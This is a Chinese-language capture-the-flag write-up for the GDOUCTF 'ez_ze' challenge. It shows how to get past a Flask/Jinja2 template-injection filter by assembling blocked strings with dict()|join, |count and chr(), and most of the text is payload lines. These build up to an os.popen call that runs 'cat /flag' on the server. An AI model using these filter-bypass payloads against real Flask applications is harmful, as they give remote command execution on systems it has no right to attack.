这个题是最新最热的GDOUCTF里面出的一个题<ez_ze>
的姿势
偷偷来学一学:
打开靶机后看到的是一个post窗口,刚开始怀疑是sql注入,但是做着做着发现不对劲,应该不是sql,是ssti
随后我用dirsearch
扫了,发现有个/console
进去就是flask的后台((
所以很明确就是flask了
can can 过滤
首先测试了{{7*7}}
回显是invalid input
将花括号去掉,显示7*7
再单独输入花括号回显invalid input
过滤了花括号
经过测试应该是绕过了至少:
{{` 、`"`、 `_`、`\`、`class`、`popen`、`.`、`[]`、`os`
但是很搞笑的事就是 我想要跑个fuzz字典来着,发现没有ssti的字典...
{%asset_img 2.png bwb%}
反正这些都被过滤了,常见的一些绕过方式也没有办法(比如request.args,通过传参绕过下划线、用中括号替换点号、等等)
但是还是有绕过的方法的:
# 绕过原理:
`dict()|join`:python中的字典
将字典中的key值进行拼接
`{{set p1=dict(p=a)|join}}
就是令p1=p
如果后面加|count
变成dict()|join|count
的话就是返回该字符串的长度:
{{set p1=dict(c=a)|join|count}}
p1=1
通过这样的拼接可以获取到payload
花括号替换:{%%}
payload:
1 | {%set one=dict(c=a)|join|count%} |
先获取数字0-9(没有过滤数字,其实可以不用这么做)
1 | {%set pop=dict(pop=a)|join%} |
通过获取pop来获取下划线:(pop能够将索引值删除列的某个元素并将该元素返回)
1 | (lipsum|string|list) |
返回
其中便有下划线,通过pop删除第18(或者24)即可返回_
1 | {%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%} |
1 | (lipsum|attr("__globals__").get("os").popen("cat /flag").read() |
通过join拼接下划线和globals即可:
1 | {%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%} |
获取get:
1 | {%set get=dict(get=a)|join%} |
获取os:
1 | {%set shell=dict(o=a,s=b)|join%} |
获取builtins:
1 | {%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%} |
获取popen:
如果使用上面的拼接会报错:keyword repeated
这里可以使用+
拼接:
1 | {%set p1=dict(p=a)|join%} |
%2b
即为加号
获取chr函数来获取flag:
1 | {%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%} |
命令cat /flag
:
用chr() -> 字符即可
1 | {%set command=char(five*five*four-one)%2bchar(five*five*four-three)%2bchar(four*five*six-four)%2bchar(four*eight)%2bchar(six*eight-one)%2bchar(three*six*six-six)%2bchar(three*six*six)%2bchar(five*five*four-three)%2bchar(three*six*six-five)%} |
获取read:
1 | {%set read=dict(read=a)|join%} |
总payload:
1 | (lipsum|attr("__globals__").get("os").popen("cat /flag").read() |
也就是:
1 | name={%set one=dict(c=a)|join|count%} |
最后多打了个{%print read%}
所以上面显示多了一个read